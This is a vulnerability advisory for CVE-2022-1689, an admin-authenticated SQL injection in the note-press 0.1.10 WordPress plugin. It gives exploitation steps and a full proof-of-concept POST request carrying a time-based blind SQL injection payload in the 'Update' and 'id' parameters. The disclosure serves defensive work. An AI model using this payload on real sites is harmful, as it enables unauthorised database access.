(2/3) note-press 0.1.10 WordPress plugin SQL injection
Vulnerability Metadata
| Key | Value |
|---|---|
| Date of Disclosure | May 09 2022 |
| Affected Software | note-press |
| Affected Software Type | WordPress plugin |
| Version | 0.1.10 |
| Weakness | SQL Injection |
| CWE ID | CWE-89 |
| CVE ID | CVE-2022-1689 |
| CVSS 3.x Base Score | 2.7 |
| CVSS 2.0 Base Score | 4.0 |
| Reporter | Daniel Krohmer, Shi Chen |
| Reporter Contact | daniel.krohmer@iese.fraunhofer.de |
| Link to Affected Software | https://wordpress.org/plugins/note-press |
| Link to Vulnerability DB | https://nvd.nist.gov/vuln/detail/CVE-2022-1689 |
Vulnerability Description
The Update data parameter in note-press 0.1.10 is vulnerable to SQL injection. An authenticated attacker may abuse the edit functionality of the plugin to craft a malicious POST request.
Exploitation Guide
Login as admin user. This attack requires at least admin privileges.
Go to Note Press.
Choose an arbitrary Title and click on Add Note.
Click on Edit.
Click on Update Note.
Clicking the previous button triggers the vulnerable request. Update is the vulnerable data parameter.
A POC may look like the following request:
In the code, the vulnerability is triggered by unsanitized user input of Update at line 1103 in ./admin/Note_Press-admin-menu.php. The final database query is called at line 879 of the same file.
Exploit Payload
Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work. The SQL injection can be triggered by sending the request below.
POST /wp-admin/admin.php?page=Note_Press-Main-Menu&action=edit&id=17+AND+(SELECT+3630+FROM+(SELECT(SLEEP(5)))KdTt) HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/admin.php?page=Note_Press-Main-Menu&action=edit&id=17
Content-Type: application/x-www-form-urlencoded
Content-Length: 186
Origin: http://localhost
DNT: 1
Connection: close
Cookie: wordpress_86a9106ae65537651a8e456835b316ab=admin%7C1651827877%7C93i22K3S8WqFD892zcV4jyN07JMamrPDIjvembDZTX4%7C2a5effdfc3e78d8a37a923c62d7ea8428e3e7719c7384c3d20df1c959601647f; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=admin%7C1651827877%7C93i22K3S8WqFD892zcV4jyN07JMamrPDIjvembDZTX4%7C0577482154b4bf69dbd69b8d96d68dc227bfb657948ce4ffc3ee461d8928b62b; wp-settings-1=editor%3Dtinymce%26amplibraryContent%3Dbrowse%26wd_ads_manage_groups_tab%3Dpop; wp-settings-time-1=1651655077;
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
_wpnonce=f5b4b02f56&Title=Test&stickycolor=&Deadline=&Priority=0&iconselect%5B%5D=aablank.png&display_name=admin&Note_Presseditor=&Update=17+AND+(SELECT+3630+FROM+(SELECT(SLEEP(5)))KdTt)